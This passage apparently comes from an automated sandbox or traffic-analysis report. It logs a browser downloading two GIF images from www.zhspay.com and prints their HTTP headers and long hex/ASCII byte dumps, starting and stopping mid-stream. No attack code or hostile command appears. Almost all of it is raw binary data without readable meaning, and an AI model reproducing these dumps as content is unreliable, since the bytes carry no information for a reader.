!"#&(--1Zp!A!14%<7^Hab'a(3#cF-Z9eF#qQ2%c8za2:9%CO\|4cT(]'6zOSVX%Ntx-badDwxWh8WVha0 KA$!2M^V
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: ca a6 97 5c 53 ac 6b 5f e0 c8 b0 bb d1 86 80 c9 72 d7 c9 82 8a c8 da 47 c4 8e f0 f2 46 37 5d 0f 6d d7 dd 87 93 5f a0 8d 1f 67 07 55 8f 65 87 86 1e 6c 6c 0a 67 77 64 33 76 63 73 90 bf 1f 79 2d 9f ee fa a2 ef a1 61 0b e9 0c 9e 9f ef b2 9c 30 6d b0 63 cb 28 22 2d 06 02 5b 09 4f ec 9e d5 87 4d a5 77 b7 43 0f 49 db 22 b5 ff ad 39 05 16 41 48 70 87 b5 08 2b 84 59 83 78 54 31 b9 58 18 4f b8 5f 38 89 40 10 90 27 70 53 53 f4 bc db 73 9f f3 a1 0b 72 a3 9f 8f b5 7c cb 1d 68 e3 cd 2c 65 53 7f 24 eb 5e a7 a7 ff 47 6c 29 06 5c 1a e2 04 f0 00 06 60 05 be 98 74 4b 46 06 41 05 ec 92 b5 00 85 05 0c a3 34 4b 84 72 fb 1a 8c 9a 47 71 00 b2 0c 4c f0 8a 01 31 bc 9e ea f5 ee 37 2b 2e b6 4e 8e 8a c9 94 0e f6 17 05 55 64 45 ce e8 ec aa de 09 d2 10 1b 1c 86 39 9c 07 b2 9f fc 7d f4 Data Ascii: \Sk_rGF7]m_gUellgwd3vcsy-a0mc("-[OMwCI"9AHp+YxT1XO_8@'pSSsr\|h,eS$^Gl)\`tKFA4KrGqL17+.NUdE9}
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: df 66 ce cc e9 2b ec 24 35 4c 37 36 1a bc a9 2b 1e 5c c2 df 2b 05 bc 38 53 b8 96 e6 69 fe d5 ab 7a 31 8c 73 95 33 05 51 03 1c ab 70 0e b9 cf 46 da a0 ed b8 06 b6 20 14 c0 8a 98 fb 90 63 4c 2b c4 73 8c f2 02 16 75 8e 56 ff 83 15 29 b3 6d 84 49 29 64 10 de 6a e5 b2 60 41 8d 72 44 64 64 c8 9e f2 aa 80 69 7b af 1e 86 81 ff 83 7e 4e 50 85 ce be 85 a1 16 40 dc ee 94 11 41 6a 26 d5 03 2d 83 6e 5b 22 f3 ee 8b ee c3 d5 58 e4 45 f6 96 aa ec ba ed 90 8e 16 71 8e 36 28 8c f2 44 8c 73 34 bf 47 5b b9 72 22 22 94 cd 44 89 5c d2 47 c3 cb b4 9b a6 96 06 93 a9 cc 69 2e ea ec 42 41 12 69 c4 21 8c 2d a9 06 d2 81 59 7c 45 0e e9 93 90 5b 67 d5 4c 94 bd 68 83 0a 0d 82 db 3a c9 fd 15 0d 0e 7e 18 af 54 6b 50 0e 95 bd 29 53 c4 f5 5e 7a 8d 4a 19 a6 6e 12 1c eb 65 1a 21 3a cc 6a e2 Data Ascii: f+$5L76+\+8Siz1s3QpF cL+suV)mI)dj`ArDddi{~NP@Aj&-n["XEq6(Ds4G[r""D\Gi.BAi!-Y\|E[gLh:~TkP)S^zJne!:j
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: b6 65 bc e5 77 f7 d0 73 00 e9 79 5f 47 5d d8 81 a7 53 db 2d 28 8c 1d 09 4c 30 41 e4 73 db 68 5f 39 c4 5d dc 55 6b a7 5a 90 70 a7 b7 a0 76 40 25 1c 2e 9e 4a 90 3e fc c3 40 1c c2 4e 20 32 a7 92 b5 33 14 64 f9 f0 4b 33 b5 92 e9 b8 84 33 bb 0a 8d 1b ac eb 31 ad b1 16 c4 d2 a3 b9 4c 6c 97 cb 32 7d 81 8b 98 ba 08 3e ba 30 ff a9 68 64 0e 1f 52 bb 75 28 45 4b 54 45 b4 2b 88 22 2a 88 fe 50 95 f1 7a a2 87 b8 0e 4f 55 23 ff 7a c7 77 8c 36 31 41 10 fc 1a 58 1d 70 31 92 46 c6 74 02 02 cf 3b 15 7b 50 72 d5 2b 82 e8 97 67 38 b7 b3 c5 43 8a f7 c1 42 e3 3b c9 93 3c b2 e4 1b b2 4d 71 7e ea db 84 62 69 2c 7a b1 b2 f1 8b b0 aa 15 73 27 b0 28 0e 42 29 f6 91 99 a7 21 8c a6 5b b4 5a 4c 5a 56 2c 3d 29 e0 1a f4 52 40 97 41 55 0b e7 c0 40 2c 4c 7d 86 19 51 1b 07 cb e4 1a 21 22 aa Data Ascii: ewsy_G]S-(L0Ash_9]UkZpv@%.J>@N 23dK331Ll2}>0hdRu(EKTE+"*PzOU#zw61AXp1Ft;{Pr+g8CB;<Mq~bi,zs'(B)![ZLZV,=)R@AU@,L}Q!"
2024-09-27 03:50:40 UTC	14836	IN	Data Raw: f5 85 41 c9 11 ec f0 73 16 84 6e 2e 38 14 46 d9 f2 46 b3 f2 91 6c b4 41 fb 93 41 69 41 56 57 e4 4e 38 34 62 1a 55 90 60 95 8e ea 28 59 c9 85 1c 09 66 3d 45 31 5a 47 91 1e d6 93 45 cf 42 79 0a 05 46 ae 52 40 88 00 5a 09 a4 5b 85 60 fa 00 31 05 6a b5 5a bd f5 09 eb 61 41 07 24 5c d6 55 5a 09 b2 de e8 ad 9c f6 cd 0a cb ff a9 6b 3a 23 35 d7 c0 1a ee 00 49 bb c5 9f 3e c1 12 ef 69 23 49 e8 36 3f 52 24 d1 46 24 d9 50 e0 f4 09 ce 5e 27 a0 b4 b4 37 87 c0 11 2c c7 89 98 83 33 18 03 23 98 f3 3d c7 75 45 88 28 e5 4c c1 15 a0 a1 4d b1 93 62 5f eb 1b f2 f4 3b b1 48 bc 78 2e 4f 09 21 ba 2c 03 50 a3 b5 14 b5 12 18 05 a6 aa e6 92 16 fd 4f 16 3c 75 56 77 e5 17 07 90 2d 15 4c 67 1f e9 92 60 c9 ea d8 72 71 0c 94 52 1b 55 56 0f 14 2d 2b f5 42 95 f6 58 1d b4 69 a5 d6 69 c3 12 Data Ascii: Asn.8FFlAAiAVWN84bU`(Yf=E1ZGEByFR@Z[`1jZaA$\UZk:#5I>i#I6?R$F$P^'7,3#=uE(LMb_;Hx.O!,PO<uVw-Lg`rqRUV-+BXii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49758	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	361	OUT	GET /zhuye/img/jinsha999.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 138124 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-21b8c" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 2c 01 e6 5c 00 a3 a1 94 fd fc fa a0 8e 66 f1 d7 ce fc d4 29 e6 13 12 63 60 53 f1 5d 18 fc fa b6 54 4a 33 30 2d 28 60 1d 18 02 95 cf eb ca bc da b6 ab d1 a9 96 ed ca 71 fc ea da f8 eb 9b f7 64 54 f0 b7 29 f0 d9 89 c7 a6 4b 8d 49 2e ed b8 b0 e7 bd 63 cb 98 8b ae 6c 4f 8a 2d 1b b1 8a 26 db cd b2 c6 8c 76 2c 2b 44 d2 96 23 ee b8 11 d4 cf d1 d0 cc 95 b6 78 67 a1 d8 ef 91 70 4a fe f0 40 fa d7 4b fe f1 71 cd 8a 10 e6 ba 57 c8 b2 73 da a9 29 b3 6f 0e 18 48 57 8f 44 06 19 54 1b 0a 04 0a 48 1e 48 27 18 2c 18 2a 32 ad 6a 2b e9 b5 91 dc ac 0f a3 54 30 82 73 35 fc 8d 47 d0 ed f7 96 59 42 f6 8d 8c 09 5e 85 83 7a 73 c2 95 4e 43 b2 df c8 c0 c9 b5 7f 80 37 2b 1a a4 57 04 ab 5a 46 31 15 16 dc dc e4 e7 97 11 90 6d 13 17 12 20 f3 8b 2b 85 8d 8e b9 bf Data Ascii: GIF89a,\f)c`S]TJ30-(`qdT)KI.clO-&v,+D#xgpJ@KqWs)oHWDTHH',*2j+T0s5GYB^zsNC7+WZF1m +
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 6a 91 7b da 9b f0 f8 9d f3 58 ff 39 80 7a 9f 73 ea 8e 41 60 9e e5 a0 7b 7d 55 03 0f f0 8e a6 ca 11 89 5a a7 1c 31 a7 b0 09 a9 8f 24 a0 f3 88 3b d7 77 7d 02 4a a6 53 90 ab 66 23 0e 2d e0 9d f1 10 aa a4 a9 0e cd 79 6b d6 67 38 be 99 ac c1 fa a9 e2 50 93 af b7 ac de e7 8e db c6 93 0f 87 a0 fa 18 95 7e 1a 89 6e c4 93 da 68 00 1a 20 00 b6 a1 0c f2 67 1b 1f 9a a4 29 aa 67 0d f4 73 2b 2a 26 39 13 26 2f 73 03 95 d0 40 8b f1 1a 48 20 41 9e 40 04 48 a7 a3 ff 44 75 2e 64 97 9e f1 68 93 61 26 42 13 97 bc f0 27 1f f0 00 e3 e5 0c 5f 47 25 88 60 36 84 00 00 49 a2 04 d1 48 04 8f 09 03 23 25 99 9c d8 5a d6 78 8d 97 89 99 61 aa 6a 69 da 99 9e 99 a9 f0 78 ac 69 3a 05 a9 99 a9 d2 66 a9 78 aa 0e a3 49 a7 f0 00 9e 6b fa b2 0f e1 9b 65 ba 05 3b 30 a8 03 b2 b2 f0 48 16 81 7a 9a Data Ascii: j{X9zsA`{}UZ1$;w}JSf#-ykg8P~nh g)gs+*&9&/s@H A@HDu.dha&B'_G%`6IH#%Zxajixi:fxIke;0Hz
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: d8 6e 8c 40 42 36 c9 09 e3 39 ff 20 9d 60 9e c9 47 9e 13 e6 08 09 d4 6f 2c 10 95 fd f6 61 a4 88 53 a4 e2 29 ef d0 43 35 62 54 63 09 29 64 b2 70 37 10 96 53 a1 81 a5 43 09 0e 60 14 28 78 14 51 a7 39 9c 29 64 6e d9 96 0f 1a 80 09 e1 99 1e b7 27 26 48 14 82 72 48 15 97 12 45 e0 03 1f 20 00 12 67 75 3e 60 04 2b 11 04 01 c0 25 9b 61 47 0e f0 95 65 d2 98 1a 48 0e 8b 99 26 f7 c0 81 1c 60 12 df 78 36 14 ea 63 f4 67 25 57 d0 00 98 54 0f b1 68 9a 86 d2 39 7a e6 75 3a 14 04 5a 22 00 66 77 76 69 e1 8f 72 b1 4a bd 99 17 49 50 90 51 5a a5 7d d1 90 21 79 91 c6 49 9d c8 b9 9c d5 19 85 5c 1a 92 58 5a 9c 99 27 9c d3 59 5d bb a6 0c e8 d4 9d 6c da a6 6e 3a 93 a7 20 9e a1 d0 9e 25 05 9e 72 4a 9e 77 1a 9e a1 90 00 cc 60 01 f0 39 9f f3 59 9f f6 a9 15 e0 47 0f 43 74 a8 50 14 15 Data Ascii: n@B69 `Go,aS)C5bTc)dp7SC`(xQ9)dn'&HrHE gu>`+%aGeH&`x6cg%WTh9zu:Z"fwvirJIPQZ}!yI\XZ'Y]ln: %rJw`9YGCtP
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 27 01 1d a9 73 03 60 7d 09 25 ff 73 81 18 49 04 39 93 34 39 90 ac e8 8f e7 a1 00 4f a0 2a 0f e4 64 ac 32 15 4b a5 74 15 f2 4a 1a 92 7f 64 21 4b 41 40 6d 0a 11 04 6f a3 55 64 e1 42 b4 c8 6d b6 28 95 5e 87 66 b9 c8 57 30 e4 67 e7 22 8c b2 30 76 13 a8 2c 18 c8 57 79 46 39 66 a5 6d 23 a2 6d 6e c1 8c 79 56 60 78 77 68 a1 24 01 f3 b0 58 fd 86 59 13 46 0f cb a0 2f d9 50 78 67 22 3b 6b c4 78 b5 83 3b c5 10 0f bd 23 1d 10 25 47 c2 33 31 28 a0 02 c7 93 3c 15 27 03 50 c4 3c 33 16 10 f5 28 75 07 91 89 89 e4 51 26 41 39 4d c8 63 38 59 6b 4d b0 03 07 19 9a 05 19 89 a4 29 9a 05 79 90 91 38 49 17 b9 9a ec b3 90 18 69 7d 31 19 3e 17 09 7e ec 43 91 62 88 91 66 88 3e 0f 49 92 10 90 87 b7 e9 92 ec 63 73 0a c5 72 15 40 9c c6 39 9c 84 98 3e bc d7 7d 34 97 9b 8d 24 5a 86 d8 91 Data Ascii: 's`}%sI949O*d2KtJd!KA@moUdBm(^fW0g"0v,WyF9fm#mnyV`xwh$XYF/Pxg";kx;#%G31(<'P<3(uQ&A9Mc8YkM)y8Ii}1>~Cbf>Icsr@9>}4$Z
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 37 43 5f 95 85 d9 e6 53 79 d4 ff 7b 42 d3 7b d5 67 1a 81 77 1a 14 d3 31 b4 b1 00 d9 86 1e 57 d4 23 57 70 7a 54 64 0d 96 74 47 76 24 5c 96 37 79 9b 07 32 88 08 6c 81 96 30 93 18 45 c8 46 15 97 c4 1d 66 15 05 c9 d1 89 6a a5 56 a6 96 56 8a 85 20 89 94 22 ff f1 40 aa 88 7b d4 d1 68 5b e4 5e 34 92 35 37 b2 6a 8a 34 45 52 f1 6b 09 93 1b d8 11 49 d5 67 8a 41 30 49 8e 95 5e 55 74 45 7a 66 00 ac c4 22 c5 84 20 f1 11 0a c8 a1 20 91 61 19 35 e2 7a 75 68 85 3e 25 5e e2 a7 01 00 f0 00 9b 30 4b 9a b3 38 e6 67 08 53 92 4b 96 30 39 ee 97 6e 97 60 08 5f d4 1c 4a 90 8e ca 81 6b 38 c2 25 ad a0 2d fc 96 3a 61 b2 20 8c 05 70 05 68 70 4d 30 5f 03 67 70 6d b4 58 f8 05 27 d3 d0 70 0f 87 12 38 36 81 2a 78 72 b5 72 81 1a a8 71 bb a2 28 31 60 05 db 60 05 c8 33 0f be d2 0d 24 75 29 Data Ascii: 7C_Sy{B{gw1W#WpzTdtGv$\7y2l0EFfjVV "@{h[^457j4ERkIgA0I^UtEzf" a5zuh>%^0K8gSK09n`_Jk8%-:a phpM0_gpmX'p86*xrrq(1``3$u)
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 1f 80 0a 13 10 b2 69 dd 9a 98 e5 03 5f 9a c5 4e 47 4b 88 e5 ec 53 5d 22 1e 72 d5 ee 6b 0b b2 ac 0b 99 c0 c4 ae bc 4b 16 92 7c 8f b2 00 1b a0 3e ee 35 c6 65 89 ae 45 7c 89 05 89 7d da e7 00 46 05 b5 c0 40 0c b9 fb c1 82 0e cd 5c 82 8e cf 50 71 87 18 9d ef 97 23 8b 0d 5c 81 6e af 2d dd e8 2d 01 05 a2 8e 00 3c 71 e9 32 71 c2 a7 e3 0b 06 f0 66 24 e0 f0 12 50 ff f0 1e f0 f0 b4 2a ea 12 e0 f0 18 cf 0b 06 50 f0 9e ae 0b 24 c0 f1 20 8f 00 50 c0 ef 29 0c 80 0a 20 52 b9 5e 5a 85 71 eb ec 53 6d 9a 2c 37 85 7b da 03 00 46 24 60 8e 1c 70 d1 89 6b 60 21 f8 18 74 93 37 c4 e4 7b 27 e5 ec 49 bc 52 29 8b 53 64 b4 0b 94 90 38 5e e4 08 66 de da c3 d4 29 87 b1 4b 50 0e ee 47 cb db 90 11 9c 3a a0 ec 97 08 5a 07 99 47 24 d0 d3 ee 3e 36 e7 14 ef cb fd ef f3 2e 63 9f 6e 0b 76 d9 Data Ascii: i_NGKS]"rkK\|>5eE\|}F@\Pq#\n--<q2qf$P*P$ P) R^ZqSm,7{F$`pk`!t7{'IR)Sd8^f)KPG:ZG$>6.cnv
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 11 00 00 6c 42 0c 37 70 01 59 6c 56 dd 19 13 9f 70 1d a1 1a 04 9c d0 4d 64 9c 91 66 8c c6 2b f2 d4 54 4d 15 6d ac da 21 ae ac 72 ec 15 da f5 15 72 6d 09 7a 7b e2 28 2e 6a 40 29 16 8d e7 b9 79 e7 c7 98 96 87 80 18 d6 58 ad 69 3c ce e3 03 b0 e2 11 60 c9 96 ec e3 6a b8 15 99 f6 86 fc b4 86 ff d4 d7 66 71 43 99 30 ca ba fc 43 ca e5 89 79 31 bd 59 69 09 ae 97 ff 17 ed 25 05 8e cd 05 26 00 a3 25 5a 95 b4 e7 e5 55 e9 7a 40 34 d8 d5 46 a3 98 00 25 2f a5 85 a0 3d be 95 60 60 43 9a 60 6c f9 4e c7 9c a3 c6 3c 8a 95 b0 96 b7 08 0a 3a 80 61 91 90 01 0d 40 a5 80 c9 25 3a 65 7e 88 ce 03 e6 f7 03 5a fa 7d 3c f0 03 89 2e 47 78 94 7e 2d a6 31 66 ea 71 77 ea c0 63 f5 7f 05 08 dc 0a 8c a7 cb 3d 99 fb e7 20 3d 76 c1 96 74 ea 25 21 c4 b1 b1 ea b2 41 c4 02 42 c4 45 b0 1f 49 20 Data Ascii: lB7pYlVpMdf+TMm!rrmz{(.j@)yXi<`jfqC0Cy1Yi%&%ZUz@4F%/=``C`lN<:a@%:e~Z}<.Gx~-1fqwc= =vt%!ABEI
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: e6 9c 5e c7 0a 00 5c 74 1b 92 6a 67 6b 9c 31 8a cb b8 e1 41 21 d9 21 1d 9c 19 9a a0 3a aa a5 5c ca a2 3c 8c d0 51 04 5b d0 c7 c0 d0 33 06 02 ba d6 03 ab 88 a0 5a 6a 64 79 a4 41 0e 84 e5 7f 20 60 1a bb 40 0a 02 30 05 08 b0 97 72 34 1f ec 88 03 1b 05 02 bd 79 54 9e 10 7b 9c ec 88 9f 8c 77 79 e4 ac c5 18 1d 9f 0c 5b be a9 c9 24 20 47 87 17 09 be 49 9e dc 69 ff cb c7 22 0a b3 21 02 04 c0 cb eb 29 02 5e 92 02 aa 0d 0d c7 1c 09 f8 3c 0c 28 30 24 fe d9 24 24 24 cd 61 ab be ed dc 0c 46 80 b0 db cc 7e 48 bd b0 df fc 0c 06 29 4d 07 4d ce bb 3d d5 cc c0 6f 0e 69 3b bb fd a1 d4 90 4d 22 eb 4d e0 36 cf f0 a0 80 35 4a 60 0d f1 02 0c cc c0 0e 9c b2 13 18 b5 bc e3 3c d3 20 b2 f6 47 c0 6d fb 25 bf 12 2a 61 3c 14 22 21 0c 37 31 2e 44 e6 14 39 e6 17 b7 12 a4 95 72 22 61 e1 Data Ascii: ^\tjgk1A!!:\<Q[3ZjdyA `@0r4yT{wy[$ GIi"!)^<(0$$$$aF~H)MM=oi;M"M65J`< Gm%*a<"!71.D9r"a
2024-09-27 03:50:40 UTC	7283	IN	Data Raw: ee e3 98 d8 f1 c0 79 21 2f 91 e6 b0 3c bc 08 3b 10 aa a6 ec 14 44 91 b9 9a bb 1e ac c3 86 2d 16 7a 70 c4 05 47 1c 18 0f b5 72 a5 4b 8a 83 f6 c2 ac 91 02 ec 15 01 1a 29 92 8f 5c 7a 33 6b 4f 9d 30 bb 92 d0 04 c6 9c bb 3a fb c3 93 10 ac 42 5c 08 b5 92 05 08 03 74 3a ba 49 39 e6 16 1d c1 01 48 10 8c 50 4c a4 05 00 0c 1b 98 91 c8 ea 0b 38 b0 3c 6b d2 31 cd 39 ff 0e be 05 00 13 fa 5a d8 13 0a 60 64 10 57 69 c6 e5 51 6d 5b 99 09 5b 96 cf b4 a1 65 aa ca 3e d2 c5 b6 42 95 ae 27 81 86 77 dc 15 6f c3 96 6f 08 20 7f 69 40 14 02 68 95 70 20 2f e0 c7 65 c1 6f 88 7c af 48 f1 12 2e 20 b7 79 37 20 14 e0 02 68 63 40 13 c4 14 62 63 87 75 c6 78 a6 d2 15 ec 69 54 cb 52 92 17 11 b9 92 7b 11 d3 2a 04 53 35 d3 12 90 02 39 c0 04 1b ec 0c a5 81 25 0b d5 b9 04 a5 a1 a9 75 c4 a8 70 Data Ascii: y!/<;D-zpGrK)\z3kO0:B\t:I9HPL8<k19Z`dWiQm[[e>B'woo i@hp /eo\|H. y7 hc@bcuxiTR{*S59%up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49756	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	359	OUT	GET /zhuye/img/tyc2024.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 178073 Last-Modified: Wed, 07 Feb 2024 05:38:59 GMT Connection: close ETag: "65c31773-2b799" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 c8 00 e6 7f 00 e4 5b 14 fe fe 05 49 87 a7 9a 0c 0e ff ff b2 ff ff d4 5e 1f 18 fd d5 71 a6 45 17 f0 dd d6 ff fd 70 d1 d0 d3 fc 27 2a 1b 2b 4d 61 5b 56 00 9b 1e 4d 07 60 0b 08 10 5e 64 90 fc 9a 1f 03 5b 13 9b 4f 9f a0 8e 65 f9 2e 4a fd d8 8b 90 01 af 11 44 90 2b 44 61 90 70 5c d9 ba b1 26 6b 91 fb b5 6f fc b3 4c 24 74 b1 29 28 2d 87 8f 93 f1 ce c0 fc 4d 49 fe 6d 6e 11 22 2e 24 50 8a 01 c9 22 fd 92 70 ab 00 d2 db cf b8 5f 3f 31 c9 0d 0b b3 b2 b0 6e 00 88 a4 da a6 fa d4 48 fd b5 89 a7 b8 d6 b6 92 89 0b 11 25 d1 ad 9c b7 ce d7 ff fd 4a 07 2b 11 22 4b b3 27 5a ce fa b3 b1 f9 90 44 f0 0d 0c 64 98 6d 2b 02 37 fe 8b 89 d0 23 2e fc 70 3e cf 95 8f fb 4b 66 d5 d1 94 b4 b0 8a d3 b0 6c da f0 d7 d5 b0 47 61 cf 72 ce 95 4a d1 4c 4b d0 6e 6d 20 33 Data Ascii: GIF89a[I^qEp'*+Ma[VM`^d[Oe.JD+Dap\&koL$t)(-MImn".$P"p_?1nH%J+"K'ZDdm+7#.p>KflGarJLKnm 3
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 30 93 99 aa a3 2a b0 a9 3e d9 ff a9 2a 40 07 dc d7 00 2b b5 01 7a 26 3b 48 29 95 ca f3 02 8c d6 94 fd 37 23 1e c5 7e c7 63 07 1d e5 68 24 70 94 24 20 22 34 c2 7f d0 43 02 c2 93 69 9c 96 3d 86 f0 52 67 99 80 34 c5 3d 0d b0 96 11 d0 29 01 44 42 03 44 42 5f 15 06 5c 30 85 61 d0 27 47 d0 02 2b 14 40 23 e0 0d 05 a0 6b ee 43 0a 01 34 08 3b 04 28 13 04 28 16 70 09 cb 92 08 bd b9 82 60 95 85 ae d6 08 c9 87 0a 47 70 56 d3 06 9a dd 0a 0d 47 f8 0c 2e e4 83 de 86 0b 76 f5 54 1c 80 37 48 84 9a d3 d0 08 16 90 99 7e a9 2a ab a2 08 41 58 07 b7 30 41 e2 90 07 de 83 27 95 c2 54 fc e6 55 60 75 6c c1 56 40 8e 92 9c b0 07 45 d0 01 73 5f e3 59 d5 91 15 59 80 7b 13 51 11 12 c0 45 12 c1 1a 83 c4 88 84 f4 35 ea a5 9d 5a e1 78 a9 d1 a4 8b f8 35 6c f4 88 6d 5a 4d ed a5 1c 6d 80 46 Data Ascii: 0>@+z&;H)7#~ch$p$ "4Ci=Rg4=)DBDB_\0a'G+@#kC4;((p`GpVG.vT7H~*AX0A'TU`ulV@Es_YY{QE5Zx5lmZMmF
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 20 02 c2 42 10 23 b0 89 a0 d8 ff 89 7d 40 06 42 57 10 1b 51 44 d0 b2 11 41 a0 11 40 44 2d 39 51 76 43 14 12 28 11 06 40 14 01 1c 60 01 3e 74 2d 32 91 13 ed d9 02 61 50 44 58 74 2d 3e 64 74 a5 28 76 1d d1 76 c1 e8 8b bc 88 04 cc 92 2d c7 68 5e 25 11 76 57 54 41 cd a8 8c 73 c7 a1 72 e2 00 6c 73 38 d5 c8 5f 7a a7 4e 47 90 8d db d8 77 dc c8 46 83 f1 18 7b 14 61 64 54 3e 89 c7 47 83 90 04 58 82 99 6f e5 6c 1d e6 99 2e b8 7d bb f7 3c e3 56 92 7d c5 08 ed 56 6c 23 50 82 70 a1 4a 3b 40 33 4b 80 01 9b 14 66 da f6 2e 61 01 05 49 30 6d 3d ca 7b ad 33 7d 51 02 06 18 40 6d 1f d0 01 2e 39 53 a2 b6 04 6f 35 03 31 e3 26 83 30 02 db 27 4f 5b b2 6d 50 50 92 3a 89 a4 3a 39 a7 74 0a a4 24 d2 84 c5 a1 6d 90 43 14 c4 44 57 48 70 6a 50 40 00 bb f7 4d e5 56 6e df e4 81 7d 69 4f Data Ascii: B#}@BWQDA@D-9QvC(@`>t-2aPDXt->dt(vv-h^%vWTAsrls8_zNGwF{adT>GXol.}<V}Vl#PpJ;@3Kf.aI0m={3}Q@m.9So51&0'O[mPP::9t$mCDWHpjP@MVn}iO
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: b1 51 08 70 7d 40 e1 30 f5 70 ff 03 64 50 37 7f 21 34 78 50 6a 36 c9 34 9a a1 17 01 91 06 7b b1 33 00 30 17 45 b0 7e f6 e7 14 89 f1 7f 05 b8 69 55 b0 52 06 48 6a 8c 91 94 05 98 6a fc c7 7f c1 01 02 96 f6 69 39 50 14 91 42 7f 40 61 1c a8 06 1c a4 06 00 3d 60 92 06 f1 48 c2 d1 6b af 63 00 c0 96 3f 17 78 02 63 00 6c 2d c0 79 1b e8 00 27 e0 6d 1b 70 02 27 80 12 38 90 06 c8 c3 3c cb 73 03 48 b0 3c cf 83 07 69 d0 05 7d 33 02 36 40 3d e7 11 06 12 60 07 06 e2 56 39 08 92 39 98 83 6e 65 6e e3 d7 1d 7e 89 57 42 68 3e 18 a2 21 06 d2 22 f5 23 3f f7 a6 6f f9 d6 84 21 32 5b 34 c2 70 20 90 07 34 82 06 a1 c2 0d ac 72 59 dd f2 3f 86 00 86 0a 10 06 3a 40 22 22 30 71 2e f7 71 78 e8 02 2a a0 29 cd 08 00 37 42 75 be d5 06 48 d7 06 24 87 87 31 e4 87 68 30 26 6b c2 72 85 78 25 Data Ascii: Qp}@0pdP7!4xPj64{30E~iURHjji9PB@a=`Hkc?xcl-y'mp'8<sH<i}36@=`V99nen~WBh>!"#?o!2[4p 4rY?:@""0q.qx*)7BuH$1h0&krx%
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 45 1c 8f a1 11 27 90 68 89 b7 ff 68 81 c5 78 db a1 87 3e b3 34 49 43 79 4d 23 59 94 46 48 90 55 35 54 b3 79 85 38 79 a1 36 7a a1 e5 07 16 10 01 01 02 37 a8 95 6a 9b 44 4a 4c 61 15 68 f1 13 3f 31 15 bf 31 37 98 28 10 71 f1 21 5e c1 5b ef e0 00 be b6 0e 2b 12 7c 46 30 0e c8 95 4b 93 03 3b f0 76 5e cb 06 00 2f 32 5d 64 30 01 9b f0 39 a1 20 6d d9 55 6d 4a c2 24 df c5 7d e2 05 7e e1 46 4d c3 83 0c e3 c7 8b 49 62 6d 74 f0 0a 4f e0 7d c0 a0 08 dc 16 7f e4 f0 5f fa 26 04 24 80 7f 76 90 00 09 50 60 06 c6 3e c1 41 13 0f a7 33 d9 93 4f 93 42 3d 14 f7 4f ff f7 7f e3 13 1c d7 e3 8e 91 d2 3e 18 f8 29 19 66 81 a6 42 2a f8 83 2b 28 86 62 1a 66 72 19 37 72 23 67 72 20 17 63 c7 42 41 06 59 41 0d a4 8f 0d 64 41 19 85 52 d6 72 73 28 b8 90 2b c5 73 38 28 64 d0 d2 02 21 a4 2d Data Ascii: E'hhx>4ICyM#YFHU5Ty8y6z7jDJLah?117(q!^[+\|F0K;v^/2]d09 mUmJ$}~FMIbmtO}_&$vP`>A3OB=O>)fB*+(bfr7r#gr cBAYAdARrs(+s8(d!-
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 27 41 19 b5 d5 92 36 b6 b4 67 ff 4e 6e 80 6d ec 59 c6 cd 93 69 1b e5 b2 85 a3 6c 55 32 57 d9 de c9 ed 7a b2 3d 5d e2 ea b2 0f 1d 42 90 73 f5 33 fd 5c 7a fb 98 d4 bd ae df 32 94 20 70 0b 2e dd 8f 23 ef 8c 38 17 7e 67 a6 bb 99 e8 25 d1 34 77 f4 5e cd 91 ff 9a d6 6c 5d 7d fd fd cd 7d 1f 89 9c b3 23 78 ed d4 f9 24 73 0a 5c e0 fd 65 70 09 67 26 00 56 60 cc d3 09 11 57 4f 11 67 80 13 d7 80 a1 40 11 b7 30 50 c8 32 61 b1 80 10 b2 c0 10 08 c1 0b 45 50 03 54 70 29 9b 42 0c ec 53 0c ea 13 2a 22 26 0d 22 36 51 f4 53 62 73 20 73 d6 10 2b 09 40 73 2c e0 3f 1e 15 40 33 c6 02 5e 50 63 34 c7 01 29 75 81 3e b6 52 e1 a3 3d 16 d7 41 dd 92 64 21 c1 71 17 f1 11 16 f4 2d 48 